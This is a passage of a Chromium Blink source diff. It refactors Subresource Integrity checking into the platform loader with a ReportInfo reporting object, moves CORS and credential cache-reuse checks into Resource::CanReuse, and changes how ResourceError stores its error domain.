-#include "core/dom/ExecutionContext.h"
-#include "core/frame/UseCounter.h"
-#include "core/inspector/ConsoleMessage.h"
 #include "platform/Crypto.h"
 #include "platform/loader/fetch/Resource.h"
 #include "platform/weborigin/KURL.h"
@@ -39,12 +33,6 @@
   return c >= 0x21 && c <= 0x7e;
 }
 
-static void LogErrorToConsole(const String& message,
-                              ExecutionContext& execution_context) {
-  execution_context.AddConsoleMessage(ConsoleMessage::Create(
-      kSecurityMessageSource, kErrorMessageLevel, message));
-}
-
 static bool DigestsEqual(const DigestValue& digest1,
                          const DigestValue& digest2) {
   if (digest1.size() != digest2.size())
@@ -63,6 +51,15 @@
                       digest.size(), kBase64DoNotInsertLFs);
 }
 
+void SubresourceIntegrity::ReportInfo::AddUseCount(UseCounterFeature feature) {
+  use_counts_.push_back(feature);
+}
+
+void SubresourceIntegrity::ReportInfo::AddConsoleErrorMessage(
+    const String& message) {
+  console_error_messages_.push_back(message);
+}
+
 HashAlgorithm SubresourceIntegrity::GetPrioritizedHashFunction(
     HashAlgorithm algorithm1,
     HashAlgorithm algorithm2) {
@@ -103,52 +100,45 @@
 
 bool SubresourceIntegrity::CheckSubresourceIntegrity(
     const String& integrity_attribute,
-    Document& document,
     const char* content,
     size_t size,
     const KURL& resource_url,
-    const Resource& resource) {
+    const Resource& resource,
+    ReportInfo& report_info) {
   if (integrity_attribute.IsEmpty())
     return true;
 
   IntegrityMetadataSet metadata_set;
   IntegrityParseResult integrity_parse_result =
-      ParseIntegrityAttribute(integrity_attribute, metadata_set, &document);
-  // On failed parsing, there's no need to log an error here, as
-  // parseIntegrityAttribute() will output an appropriate console message.
+      ParseIntegrityAttribute(integrity_attribute, metadata_set, &report_info);
   if (integrity_parse_result != kIntegrityParseValidResult)
     return true;
 
-  return CheckSubresourceIntegrity(metadata_set, document, content, size,
-                                   resource_url, resource);
+  return CheckSubresourceIntegrity(metadata_set, content, size, resource_url,
+                                   resource, report_info);
 }
 
 bool SubresourceIntegrity::CheckSubresourceIntegrity(
     const IntegrityMetadataSet& metadata_set,
-    Document& document,
     const char* content,
     size_t size,
     const KURL& resource_url,
-    const Resource& resource) {
+    const Resource& resource,
+    ReportInfo& report_info) {
   if (!resource.IsSameOriginOrCORSSuccessful()) {
-    UseCounter::Count(document,
-                      WebFeature::kSRIElementIntegrityAttributeButIneligible);
-    LogErrorToConsole("Subresource Integrity: The resource '" +
-                          resource_url.ElidedString() +
-                          "' has an integrity attribute, but the resource "
-                          "requires the request to be CORS enabled to check "
-                          "the integrity, and it is not. The resource has been "
-                          "blocked because the integrity cannot be enforced.",
-                      document);
+    report_info.AddConsoleErrorMessage(
+        "Subresource Integrity: The resource '" + resource_url.ElidedString() +
+        "' has an integrity attribute, but the resource "
+        "requires the request to be CORS enabled to check "
+        "the integrity, and it is not. The resource has been "
+        "blocked because the integrity cannot be enforced.");
+    report_info.AddUseCount(ReportInfo::UseCounterFeature::
+                                kSRIElementIntegrityAttributeButIneligible);
     return false;
   }
 
-  String error_message;
-  bool result = CheckSubresourceIntegrity(
-      metadata_set, content, size, resource_url, document, error_message);
-  if (!result)
-    LogErrorToConsole(error_message, document);
-  return result;
+  return CheckSubresourceIntegrity(metadata_set, content, size, resource_url,
+                                   report_info);
 }
 
 bool SubresourceIntegrity::CheckSubresourceIntegrity(
@@ -156,18 +146,15 @@
     const char* content,
     size_t size,
     const KURL& resource_url,
-    ExecutionContext& execution_context,
-    String& error_message) {
+    ReportInfo& report_info) {
   IntegrityMetadataSet metadata_set;
-  IntegrityParseResult integrity_parse_result = ParseIntegrityAttribute(
-      integrity_metadata, metadata_set, &execution_context);
-  // On failed parsing, there's no need to log an error here, as
-  // parseIntegrityAttribute() will output an appropriate console message.
+  IntegrityParseResult integrity_parse_result =
+      ParseIntegrityAttribute(integrity_metadata, metadata_set, &report_info);
   if (integrity_parse_result != kIntegrityParseValidResult)
     return true;
 
   return CheckSubresourceIntegrity(metadata_set, content, size, resource_url,
-                                   execution_context, error_message);
+                                   report_info);
 }
 
 bool SubresourceIntegrity::CheckSubresourceIntegrity(
@@ -175,15 +162,15 @@
     const char* content,
     size_t size,
     const KURL& resource_url,
-    ExecutionContext& execution_context,
-    String& error_message) {
+    ReportInfo& report_info) {
   if (!metadata_set.size())
     return true;
 
   HashAlgorithm strongest_algorithm = kHashAlgorithmSha256;
-  for (const IntegrityMetadata& metadata : metadata_set)
+  for (const IntegrityMetadata& metadata : metadata_set) {
     strongest_algorithm =
         GetPrioritizedHashFunction(metadata.Algorithm(), strongest_algorithm);
+  }
 
   DigestValue digest;
   for (const IntegrityMetadata& metadata : metadata_set) {
@@ -202,9 +189,8 @@
           reinterpret_cast<uint8_t*>(hash_vector.data()), hash_vector.size());
 
       if (DigestsEqual(digest, converted_hash_vector)) {
-        UseCounter::Count(
-            &execution_context,
-            WebFeature::kSRIElementWithMatchingIntegrityAttribute);
+        report_info.AddUseCount(ReportInfo::UseCounterFeature::
+                                    kSRIElementWithMatchingIntegrityAttribute);
         return true;
       }
     }
@@ -217,21 +203,20 @@
     // need to be very careful not to expose this in exceptions or
     // JavaScript, otherwise it risks exposing information about the
     // resource cross-origin.
-    error_message =
+    report_info.AddConsoleErrorMessage(
         "Failed to find a valid digest in the 'integrity' attribute for "
         "resource '" +
         resource_url.ElidedString() + "' with computed SHA-256 integrity '" +
-        DigestToString(digest) + "'. The resource has been blocked.";
+        DigestToString(digest) + "'. The resource has been blocked.");
   } else {
-    error_message =
+    report_info.AddConsoleErrorMessage(
         "There was an error computing an integrity value for resource '" +
-        resource_url.ElidedString() + "'. The resource has been blocked.";
+        resource_url.ElidedString() + "'. The resource has been blocked.");
   }
-  UseCounter::Count(&execution_context,
-                    WebFeature::kSRIElementWithNonMatchingIntegrityAttribute);
+  report_info.AddUseCount(ReportInfo::UseCounterFeature::
+                              kSRIElementWithNonMatchingIntegrityAttribute);
   return false;
 }
-
 // Before:
 //
 // [algorithm]-[hash]
@@ -321,7 +306,7 @@
 SubresourceIntegrity::ParseIntegrityAttribute(
     const WTF::String& attribute,
     IntegrityMetadataSet& metadata_set,
-    ExecutionContext* execution_context) {
+    ReportInfo* report_info) {
   Vector<UChar> characters;
   attribute.StripWhiteSpace().AppendTo(characters);
   const UChar* position = characters.data();
@@ -353,14 +338,14 @@
       // Unknown hash algorithms are treated as if they're not present,
       // and thus are not marked as an error, they're just skipped.
       SkipUntil<UChar, IsASCIISpace>(position, end);
-      if (execution_context) {
-        LogErrorToConsole("Error parsing 'integrity' attribute ('" + attribute +
-                              "'). The specified hash algorithm must be one of "
-                              "'sha256', 'sha384', or 'sha512'.",
-                          *execution_context);
-        UseCounter::Count(
-            execution_context,
-            WebFeature::kSRIElementWithUnparsableIntegrityAttribute);
+      if (report_info) {
+        report_info->AddConsoleErrorMessage(
+            "Error parsing 'integrity' attribute ('" + attribute +
+            "'). The specified hash algorithm must be one of "
+            "'sha256', 'sha384', or 'sha512'.");
+        report_info->AddUseCount(
+            ReportInfo::UseCounterFeature::
+                kSRIElementWithUnparsableIntegrityAttribute);
       }
       continue;
     }
@@ -368,15 +353,15 @@
     if (parse_result == kAlgorithmUnparsable) {
       error = true;
       SkipUntil<UChar, IsASCIISpace>(position, end);
-      if (execution_context) {
-        LogErrorToConsole("Error parsing 'integrity' attribute ('" + attribute +
-                              "'). The hash algorithm must be one of 'sha256', "
-                              "'sha384', or 'sha512', followed by a '-' "
-                              "character.",
-                          *execution_context);
-        UseCounter::Count(
-            execution_context,
-            WebFeature::kSRIElementWithUnparsableIntegrityAttribute);
+      if (report_info) {
+        report_info->AddConsoleErrorMessage(
+            "Error parsing 'integrity' attribute ('" + attribute +
+            "'). The hash algorithm must be one of 'sha256', "
+            "'sha384', or 'sha512', followed by a '-' "
+            "character.");
+        report_info->AddUseCount(
+            ReportInfo::UseCounterFeature::
+                kSRIElementWithUnparsableIntegrityAttribute);
       }
       continue;
     }
@@ -386,14 +371,13 @@
     if (!ParseDigest(position, current_integrity_end, digest)) {
       error = true;
       SkipUntil<UChar, IsASCIISpace>(position, end);
-      if (execution_context) {
-        LogErrorToConsole(
+      if (report_info) {
+        report_info->AddConsoleErrorMessage(
             "Error parsing 'integrity' attribute ('" + attribute +
-                "'). The digest must be a valid, base64-encoded value.",
-            *execution_context);
-        UseCounter::Count(
-            execution_context,
-            WebFeature::kSRIElementWithUnparsableIntegrityAttribute);
+            "'). The digest must be a valid, base64-encoded value.");
+        report_info->AddUseCount(
+            ReportInfo::UseCounterFeature::
+                kSRIElementWithUnparsableIntegrityAttribute);
       }
       continue;
     }
@@ -405,11 +389,10 @@
     if (SkipExactly<UChar>(position, end, '?')) {
       const UChar* begin = position;
       SkipWhile<UChar, IsValueCharacter>(position, end);
-      if (begin != position && execution_context) {
-        LogErrorToConsole(
+      if (begin != position && report_info) {
+        report_info->AddConsoleErrorMessage(
             "Ignoring unrecogized 'integrity' attribute option '" +
-                String(begin, position - begin) + "'.",
-            *execution_context);
+            String(begin, position - begin) + "'.");
       }
     }
 
diff --git a/third_party/WebKit/Source/core/frame/SubresourceIntegrity.h b/third_party/WebKit/Source/platform/loader/SubresourceIntegrity.h
similarity index 72%
rename from third_party/WebKit/Source/core/frame/SubresourceIntegrity.h
rename to third_party/WebKit/Source/platform/loader/SubresourceIntegrity.h
index 1e8dbc30..ba29bfcf 100644
--- a/third_party/WebKit/Source/core/frame/SubresourceIntegrity.h
+++ b/third_party/WebKit/Source/platform/loader/SubresourceIntegrity.h
@@ -6,23 +6,44 @@
 #define SubresourceIntegrity_h
 
 #include "base/gtest_prod_util.h"
-#include "core/CoreExport.h"
 #include "platform/Crypto.h"
+#include "platform/PlatformExport.h"
 #include "platform/loader/fetch/IntegrityMetadata.h"
 #include "platform/wtf/Allocator.h"
+#include "platform/wtf/Vector.h"
 #include "platform/wtf/text/WTFString.h"
 
 namespace blink {
 
-class Document;
-class ExecutionContext;
 class KURL;
 class Resource;
 
-class CORE_EXPORT SubresourceIntegrity {
+class PLATFORM_EXPORT SubresourceIntegrity final {
   STATIC_ONLY(SubresourceIntegrity);
 
  public:
+  class ReportInfo final {
+   public:
+    enum class UseCounterFeature {
+      kSRIElementWithMatchingIntegrityAttribute,
+      kSRIElementWithNonMatchingIntegrityAttribute,
+      kSRIElementIntegrityAttributeButIneligible,
+      kSRIElementWithUnparsableIntegrityAttribute,
+    };
+
+    void AddUseCount(UseCounterFeature);
+    void AddConsoleErrorMessage(const String&);
+
+    const Vector<UseCounterFeature>& UseCounts() const { return use_counts_; }
+    const Vector<String>& ConsoleErrorMessages() const {
+      return console_error_messages_;
+    }
+
+   private:
+    Vector<UseCounterFeature> use_counts_;
+    Vector<String> console_error_messages_;
+  };
+
   enum IntegrityParseResult {
     kIntegrityParseValidResult,
     kIntegrityParseNoValidResult
@@ -32,29 +53,27 @@
   // assume that the integrity attribute has already been parsed, and the
   // IntegrityMetadataSet represents the result of that parsing.
   static bool CheckSubresourceIntegrity(const String& integrity_attribute,
-                                        Document&,  // the embedding document
                                         const char* content,
                                         size_t,
                                         const KURL& resource_url,
-                                        const Resource&);
+                                        const Resource&,
+                                        ReportInfo&);
   static bool CheckSubresourceIntegrity(const IntegrityMetadataSet&,
-                                        Document&,
                                         const char* content,
                                         size_t,
                                         const KURL& resource_url,
-                                        const Resource&);
+                                        const Resource&,
+                                        ReportInfo&);
   static bool CheckSubresourceIntegrity(const String&,
                                         const char*,
                                         size_t,
                                         const KURL& resource_url,
-                                        ExecutionContext&,
-                                        WTF::String&);
+                                        ReportInfo&);
   static bool CheckSubresourceIntegrity(const IntegrityMetadataSet&,
                                         const char*,
                                         size_t,
                                         const KURL& resource_url,
-                                        ExecutionContext&,
-                                        WTF::String&);
+                                        ReportInfo&);
 
   // The IntegrityMetadataSet arguments are out parameters which contain the
   // set of all valid, parsed metadata from |attribute|.
@@ -64,7 +83,7 @@
   static IntegrityParseResult ParseIntegrityAttribute(
       const WTF::String& attribute,
       IntegrityMetadataSet&,
-      ExecutionContext*);
+      ReportInfo*);
 
  private:
   friend class SubresourceIntegrityTest;
diff --git a/third_party/WebKit/Source/core/frame/SubresourceIntegrityTest.cpp b/third_party/WebKit/Source/platform/loader/SubresourceIntegrityTest.cpp
similarity index 89%
rename from third_party/WebKit/Source/core/frame/SubresourceIntegrityTest.cpp
rename to third_party/WebKit/Source/platform/loader/SubresourceIntegrityTest.cpp
index 68d9b11..c939d886 100644
--- a/third_party/WebKit/Source/core/frame/SubresourceIntegrityTest.cpp
+++ b/third_party/WebKit/Source/platform/loader/SubresourceIntegrityTest.cpp
@@ -2,11 +2,8 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "core/frame/SubresourceIntegrity.h"
+#include "platform/loader/SubresourceIntegrity.h"
 
-#include "core/HTMLNames.h"
-#include "core/dom/Document.h"
-#include "core/html/HTMLScriptElement.h"
 #include "platform/Crypto.h"
 #include "platform/loader/fetch/IntegrityMetadata.h"
 #include "platform/loader/fetch/RawResource.h"
@@ -15,6 +12,7 @@
 #include "platform/loader/fetch/ResourceLoadScheduler.h"
 #include "platform/loader/fetch/ResourceLoader.h"
 #include "platform/loader/fetch/ResourceResponse.h"
+#include "platform/loader/testing/CryptoTestingPlatformSupport.h"
 #include "platform/loader/testing/MockFetchContext.h"
 #include "platform/weborigin/KURL.h"
 #include "platform/weborigin/SecurityOrigin.h"
@@ -29,6 +27,22 @@
 namespace blink {
 
 static const char kBasicScript[] = "alert('test');";
+static unsigned char kSha256Hash[] = {
+    0x18, 0x01, 0x78, 0xf1, 0x03, 0xa8, 0xc5, 0x1b, 0xee, 0xd2, 0x06,
+    0x40, 0x99, 0x08, 0xaf, 0x51, 0xd2, 0x4f, 0xc8, 0x16, 0x9c, 0xab,
+    0x39, 0xc1, 0x01, 0x7c, 0x27, 0x91, 0xfa, 0x66, 0x41, 0x7e};
+static unsigned char kSha384Hash[] = {
+    0x9d, 0xea, 0x77, 0x5e, 0x9b, 0xe1, 0x53, 0x1a, 0x42, 0x30, 0xe5, 0x57,
+    0x20, 0x53, 0xde, 0x71, 0x38, 0x40, 0xa9, 0xd6, 0x3f, 0xb9, 0x57, 0xa2,
+    0x0f, 0x89, 0x17, 0x4a, 0xa5, 0xe9, 0xc7, 0x46, 0x09, 0x51, 0x65, 0x38,
+    0x7d, 0x34, 0xda, 0x16, 0x07, 0x22, 0x4e, 0xe6, 0x64, 0xed, 0xf9, 0x84};
+static unsigned char kSha512Hash[] = {
+    0x4d, 0x79, 0x09, 0xc3, 0x5f, 0x0f, 0xaa, 0x55, 0x65, 0x11, 0x45,
+    0xd7, 0x8d, 0xe5, 0xdb, 0x19, 0xeb, 0x68, 0xa7, 0x54, 0xca, 0x07,
+    0x7c, 0x18, 0x40, 0x8a, 0x75, 0xfe, 0x28, 0x71, 0x08, 0xe1, 0x46,
+    0x51, 0xf1, 0xbd, 0x4d, 0x83, 0x9a, 0x03, 0x53, 0x25, 0x92, 0x94,
+    0xc0, 0xa9, 0x25, 0x7a, 0xc9, 0xa7, 0xaf, 0x2c, 0xef, 0x13, 0x8f,
+    0x9a, 0x60, 0x1f, 0x52, 0x66, 0x67, 0xef, 0x88, 0xb4};
 static const char kSha256Integrity[] =
     "sha256-GAF48QOoxRvu0gZAmQivUdJPyBacqznBAXwnkfpmQX4=";
 static const char kSha256IntegrityLenientSyntax[] =
@@ -70,8 +84,6 @@
 
  protected:
   virtual void SetUp() {
-    document = Document::CreateForTest();
-    script_element = HTMLScriptElement::Create(*document, true);
     context =
         MockFetchContext::Create(MockFetchContext::kShouldLoadNewResource);
   }
@@ -200,16 +212,16 @@
   void CheckExpectedIntegrity(const char* integrity,
                               const TestCase test,
                               Expectation expectation) {
-    document->UpdateSecurityOrigin(SecurityOrigin::Create(test.origin));
     context->SetSecurityOrigin(SecurityOrigin::Create(test.origin));
-    script_element->setAttribute(HTMLNames::integrityAttr, integrity);
 
-    EXPECT_EQ(expectation == kIntegritySuccess,
-              SubresourceIntegrity::CheckSubresourceIntegrity(
-                  String(integrity), script_element->GetDocument(),
-                  kBasicScript, strlen(kBasicScript), test.target,
-                  *CreateTestResource(test.target, test.allow_origin_url,
-                                      test.service_worker)));
+    SubresourceIntegrity::ReportInfo report_info;
+    EXPECT_EQ(
+        expectation == kIntegritySuccess,
+        SubresourceIntegrity::CheckSubresourceIntegrity(
+            String(integrity), kBasicScript, strlen(kBasicScript), test.target,
+            *CreateTestResource(test.target, test.allow_origin_url,
+                                test.service_worker),
+            report_info));
   }
 
   Resource* CreateTestResource(const KURL& url,
@@ -263,9 +275,8 @@
   KURL sec_url;
   KURL insec_url;
 
-  Persistent<Document> document;
+  ScopedTestingPlatformSupport<CryptoTestingPlatformSupport> platform_;
   Persistent<MockFetchContext> context;
-  Persistent<HTMLScriptElement> script_element;
 };
 
 TEST_F(SubresourceIntegrityTest, Prioritization) {
@@ -533,6 +544,29 @@
       {sec_url, insec_url, nullptr, kNoServiceWorker, kIntegrityFailure},
   };
 
+  MockWebCryptoDigestorFactory factory_sha256(
+      kBasicScript, strlen(kBasicScript), kSha256Hash, sizeof(kSha256Hash));
+  MockWebCryptoDigestorFactory factory_sha384(
+      kBasicScript, strlen(kBasicScript), kSha384Hash, sizeof(kSha384Hash));
+  MockWebCryptoDigestorFactory factory_sha512(
+      kBasicScript, strlen(kBasicScript), kSha512Hash, sizeof(kSha512Hash));
+
+  CryptoTestingPlatformSupport::SetMockCryptoScope mock_crypto_scope(
+      *platform_.GetTestingPlatformSupport());
+
+  EXPECT_CALL(mock_crypto_scope.MockCrypto(),
+              CreateDigestorProxy(kWebCryptoAlgorithmIdSha256))
+      .WillRepeatedly(::testing::InvokeWithoutArgs(
+          &factory_sha256, &MockWebCryptoDigestorFactory::Create));
+  EXPECT_CALL(mock_crypto_scope.MockCrypto(),
+              CreateDigestorProxy(kWebCryptoAlgorithmIdSha384))
+      .WillRepeatedly(::testing::InvokeWithoutArgs(
+          &factory_sha384, &MockWebCryptoDigestorFactory::Create));
+  EXPECT_CALL(mock_crypto_scope.MockCrypto(),
+              CreateDigestorProxy(kWebCryptoAlgorithmIdSha512))
+      .WillRepeatedly(::testing::InvokeWithoutArgs(
+          &factory_sha512, &MockWebCryptoDigestorFactory::Create));
+
   for (const auto& test : cases) {
     SCOPED_TRACE(
         ::testing::Message()
diff --git a/third_party/WebKit/Source/platform/loader/fetch/Resource.cpp b/third_party/WebKit/Source/platform/loader/fetch/Resource.cpp
index 5463710..f302e1e 100644
--- a/third_party/WebKit/Source/platform/loader/fetch/Resource.cpp
+++ b/third_party/WebKit/Source/platform/loader/fetch/Resource.cpp
@@ -810,6 +810,27 @@
   const ResourceRequest& new_request = params.GetResourceRequest();
   const ResourceLoaderOptions& new_options = params.Options();
 
+  // Never reuse opaque responses from a service worker for requests that are
+  // not no-cors. https://crbug.com/625575
+  // TODO(yhirano): Remove this.
+  if (GetResponse().WasFetchedViaServiceWorker() &&
+      GetResponse().ResponseTypeViaServiceWorker() ==
+          mojom::FetchResponseType::kOpaque &&
+      new_request.GetFetchRequestMode() !=
+          WebURLRequest::kFetchRequestModeNoCORS) {
+    return false;
+  }
+
+  // If credentials were sent with the previous request and won't be with this
+  // one, or vice versa, re-fetch the resource.
+  //
+  // This helps with the case where the server sends back
+  // "Access-Control-Allow-Origin: *" all the time, but some of the client's
+  // requests are made without CORS and some with.
+  if (GetResourceRequest().AllowStoredCredentials() !=
+      new_request.AllowStoredCredentials())
+    return false;
+
   // Certain requests (e.g., XHRs) might have manually set headers that require
   // revalidation. In theory, this should be a Revalidate case. In practice, the
   // MemoryCache revalidation path assumes a whole bunch of things about how
diff --git a/third_party/WebKit/Source/platform/loader/fetch/ResourceError.cpp b/third_party/WebKit/Source/platform/loader/fetch/ResourceError.cpp
index 4c3183d..da5baeda 100644
--- a/third_party/WebKit/Source/platform/loader/fetch/ResourceError.cpp
+++ b/third_party/WebKit/Source/platform/loader/fetch/ResourceError.cpp
@@ -41,8 +41,6 @@
     "information.";
 }  // namespace
 
-const char kErrorDomainBlinkInternal[] = "BlinkInternal";
-
 ResourceError ResourceError::CancelledError(const KURL& url) {
   return WebURLError(url, false, net::ERR_ABORTED);
 }
@@ -76,7 +74,7 @@
 
 ResourceError ResourceError::Copy() const {
   ResourceError error_copy;
-  error_copy.domain_ = domain_.IsolatedCopy();
+  error_copy.domain_ = domain_;
   error_copy.error_code_ = error_code_;
   error_copy.failing_url_ = failing_url_.Copy();
   error_copy.localized_description_ = localized_description_.IsolatedCopy();
@@ -93,7 +91,7 @@
   if (a.IsNull() || b.IsNull())
     return false;
 
-  if (a.Domain() != b.Domain())
+  if (a.GetDomain() != b.GetDomain())
     return false;
 
   if (a.ErrorCode() != b.ErrorCode())
@@ -121,7 +119,7 @@
                                           const WebURL& url,
                                           bool stale_copy_in_cache,
                                           int reason) {
-  error->domain = WebString::FromASCII(net::kErrorDomain);
+  error->domain = Domain::kNet;
   error->reason = reason;
   error->stale_copy_in_cache = stale_copy_in_cache;
   error->unreachable_url = url;
@@ -135,18 +133,15 @@
 }
 
 bool ResourceError::IsTimeout() const {
-  return domain_ == String(net::kErrorDomain) &&
-         error_code_ == net::ERR_TIMED_OUT;
+  return domain_ == Domain::kNet && error_code_ == net::ERR_TIMED_OUT;
 }
 
 bool ResourceError::IsCancellation() const {
-  return domain_ == String(net::kErrorDomain) &&
-         error_code_ == net::ERR_ABORTED;
+  return domain_ == Domain::kNet && error_code_ == net::ERR_ABORTED;
 }
 
 bool ResourceError::IsCacheMiss() const {
-  return domain_ == String(net::kErrorDomain) &&
-         error_code_ == net::ERR_CACHE_MISS;
+  return domain_ == Domain::kNet && error_code_ == net::ERR_CACHE_MISS;
 }
 
 }  // namespace blink
diff --git a/third_party/WebKit/Source/platform/loader/fetch/ResourceError.h b/third_party/WebKit/Source/platform/loader/fetch/ResourceError.h
index 4bd4e5a..ce31b40 100644
--- a/third_party/WebKit/Source/platform/loader/fetch/ResourceError.h
+++ b/third_party/WebKit/Source/platform/loader/fetch/ResourceError.h
@@ -34,20 +34,18 @@
 #include "platform/weborigin/KURL.h"
 #include "platform/wtf/Allocator.h"
 #include "platform/wtf/text/WTFString.h"
+#include "public/platform/WebURLError.h"
 
 namespace blink {
 
 class WebURL;
 enum class ResourceRequestBlockedReason;
-struct WebURLError;
-
-// Used for errors that won't be exposed to clients.
-PLATFORM_EXPORT extern const char kErrorDomainBlinkInternal[];
 
 class PLATFORM_EXPORT ResourceError final {
   DISALLOW_NEW();
 
  public:
+  using Domain = WebURLError::Domain;
   enum Error {
     ACCESS_DENIED = net::ERR_ACCESS_DENIED,
     BLOCKED_BY_XSS_AUDITOR = net::ERR_BLOCKED_BY_XSS_AUDITOR
@@ -67,7 +65,7 @@
 
   ResourceError() = default;
 
-  ResourceError(const String& domain,
+  ResourceError(Domain domain,
                 int error_code,
                 const KURL& failing_url,
                 const String& localized_description)
@@ -83,7 +81,7 @@
 
   bool IsNull() const { return is_null_; }
 
-  const String& Domain() const { return domain_; }
+  Domain GetDomain() const { return domain_; }
   int ErrorCode() const { return error_code_; }
   const String& FailingURL() const { return failing_url_; }
   const String& LocalizedDescription() const { return localized_description_; }
@@ -124,7 +122,7 @@
                                     int reason);
 
  private:
-  String domain_;
+  Domain domain_ = Domain::kEmpty;
   int error_code_ = 0;
   KURL failing_url_;
   String localized_description_;
diff --git a/third_party/WebKit/Source/platform/loader/fetch/ResourceFetcher.cpp b/third_party/WebKit/Source/platform/loader/fetch/ResourceFetcher.cpp
index d0de7ff..4b2ebe1 100644
--- a/third_party/WebKit/Source/platform/loader/fetch/ResourceFetcher.cpp
+++ b/third_party/WebKit/Source/platform/loader/fetch/ResourceFetcher.cpp
@@ -891,23 +891,6 @@
   return request.DownloadToFile() || request.UseStreamOnResponse();
 }
 
-static bool IsReusableRegardingCORS(const ResourceRequest& request,
-                                    const Resource& existing_resource) {
-  // Never reuse opaque responses from a service worker for requests that are
-  // not no-cors. https://crbug.com/625575
-  // TODO(yhirano): Remove this.
-
-  if (!existing_resource.GetResponse().WasFetchedViaServiceWorker())
-    return true;
-
-  if (existing_resource.GetResponse().ResponseTypeViaServiceWorker() !=
-      mojom::FetchResponseType::kOpaque)
-    return true;
-
-  return request.GetFetchRequestMode() ==
-         WebURLRequest::kFetchRequestModeNoCORS;
-}
-
 Resource* ResourceFetcher::MatchPreload(const FetchParameters& params,
                                         Resource::Type type) {
   auto it = preloads_.find(PreloadKey(params.Url(), type));
@@ -931,7 +914,6 @@
     return nullptr;
 
   if (IsImageResourceDisallowedToBeReused(*resource) ||
-      !IsReusableRegardingCORS(request, *resource) ||
       !resource->CanReuse(params))
     return nullptr;
 
@@ -1049,7 +1031,7 @@
     // We really should discard the new prefetch since the preload has more
     // specific type information! crbug.com/379893
     // fast/dom/HTMLLinkElement/link-and-subresource-test hits this case.
-    RESOURCE_LOADING_DVLOG(1) << "ResourceFetcher::determineRevalidationPolicy "
+    RESOURCE_LOADING_DVLOG(1) << "ResourceFetcher::DetermineRevalidationPolicy "
                                  "reloading due to type mismatch.";
     return kReload;
   }
@@ -1060,26 +1042,13 @@
   if (is_static_data)
     return kUse;
 
-  if (!IsReusableRegardingCORS(request, existing_resource))
-    return kReload;
-
-  // If credentials were sent with the previous request and won't be with this
-  // one, or vice versa, re-fetch the resource.
-  //
-  // This helps with the case where the server sends back
-  // "Access-Control-Allow-Origin: *" all the time, but some of the client's
-  // requests are made without CORS and some with.
-  if (existing_resource.GetResourceRequest().AllowStoredCredentials() !=
-      request.AllowStoredCredentials()) {
-    RESOURCE_LOADING_DVLOG(1) << "ResourceFetcher::determineRevalidationPolicy "
-                                 "reloading due to difference in credentials "
-                                 "settings.";
+  if (!existing_resource.CanReuse(fetch_params)) {
+    RESOURCE_LOADING_DVLOG(1) << "ResourceFetcher::DetermineRevalidationPolicy "
+                                 "reloading due to Resource::CanReuse() "
+                                 "returning false.";
     return kReload;
   }
 
-  if (!existing_resource.CanReuse(fetch_params))
-    return kReload;
-
   // Don't reload resources while pasting.
   if (allow_stale_resources_)
     return kUse;
@@ -1090,7 +1059,7 @@
 
   // Don't reuse resources with Cache-control: no-store.
   if (existing_resource.HasCacheControlNoStoreHeader()) {
-    RESOURCE_LOADING_DVLOG(1) << "ResourceFetcher::determineRevalidationPolicy "
+    RESOURCE_LOADING_DVLOG(1) << "ResourceFetcher::DetermineRevalidationPolicy "
                                  "reloading due to Cache-control: no-store.";
     return kReload;
   }
@@ -1110,7 +1079,7 @@
 
   // WebCachePolicy::BypassingCache always reloads
   if (request.GetCachePolicy() == WebCachePolicy::kBypassingCache) {
-    RESOURCE_LOADING_DVLOG(1) << "ResourceFetcher::determineRevalidationPolicy "
+    RESOURCE_LOADING_DVLOG(1) << "ResourceFetcher::DetermineRevalidationPolicy "
                                  "reloading due to "
                                  "WebCachePolicy::BypassingCache.";
     return kReload;
@@ -1118,7 +1087,7 @@
 
   // We'll try to reload the resource if it failed last time.
   if (existing_resource.ErrorOccurred()) {
-    RESOURCE_LOADING_DVLOG(1) << "ResourceFetcher::determineRevalidationPolicy "
+    RESOURCE_LOADING_DVLOG(1) << "ResourceFetcher::DetermineRevalidationPolicy "
                                  "reloading due to resource being in the error "
                                  "state";
     return kReload;
@@ -1138,7 +1107,7 @@
   // If any of the redirects in the chain to loading the resource were not
   // cacheable, we cannot reuse our cached resource.
   if (!existing_resource.CanReuseRedirectChain()) {
-    RESOURCE_LOADING_DVLOG(1) << "ResourceFetcher::determineRevalidationPolicy "
+    RESOURCE_LOADING_DVLOG(1) << "ResourceFetcher::DetermineRevalidationPolicy "
                                  "reloading due to an uncacheable redirect";
     return kReload;
   }
@@ -1169,7 +1138,7 @@
     }
 
     // No, must reload.
-    RESOURCE_LOADING_DVLOG(1) << "ResourceFetcher::determineRevalidationPolicy "
+    RESOURCE_LOADING_DVLOG(1) << "ResourceFetcher::DetermineRevalidationPolicy "
                                  "reloading due to missing cache validators.";
     return kReload;
   }
diff --git a/third_party/WebKit/Source/platform/network/ContentSecurityPolicyResponseHeaders.cpp b/third_party/WebKit/Source/platform/network/ContentSecurityPolicyResponseHeaders.cpp
index 6f831bd9..726835d 100644
--- a/third_party/WebKit/Source/platform/network/ContentSecurityPolicyResponseHeaders.cpp
+++ b/third_party/WebKit/Source/platform/network/ContentSecurityPolicyResponseHeaders.cpp
@@ -27,13 +27,26 @@
 
 #include "platform/HTTPNames.h"
 #include "platform/loader/fetch/ResourceResponse.h"
+#include "platform/network/HTTPHeaderMap.h"
 
 namespace blink {
 
 ContentSecurityPolicyResponseHeaders::ContentSecurityPolicyResponseHeaders(
     const ResourceResponse& response)
-    : content_security_policy_(
-          response.HttpHeaderField(HTTPNames::Content_Security_Policy)),
-      content_security_policy_report_only_(response.HttpHeaderField(
-          HTTPNames::Content_Security_Policy_Report_Only)) {}
+    : ContentSecurityPolicyResponseHeaders(response.HttpHeaderFields()) {}
+
+ContentSecurityPolicyResponseHeaders::ContentSecurityPolicyResponseHeaders(
+    const HTTPHeaderMap& headers)
+    : content_security_policy_(headers.Get(HTTPNames::Content_Security_Policy)),
+      content_security_policy_report_only_(
+          headers.Get(HTTPNames::Content_Security_Policy_Report_Only)) {}
+
+ContentSecurityPolicyResponseHeaders
+ContentSecurityPolicyResponseHeaders::IsolatedCopy() const {
+  ContentSecurityPolicyResponseHeaders headers;
+  headers.content_security_policy_ = content_security_policy_.IsolatedCopy();
+  headers.content_security_policy_report_only_ =
+      content_security_policy_report_only_.IsolatedCopy();
+  return headers;
+}
 }
diff --git a/third_party/WebKit/Source/platform/network/ContentSecurityPolicyResponseHeaders.h b/third_party/WebKit/Source/platform/network/ContentSecurityPolicyResponseHeaders.h
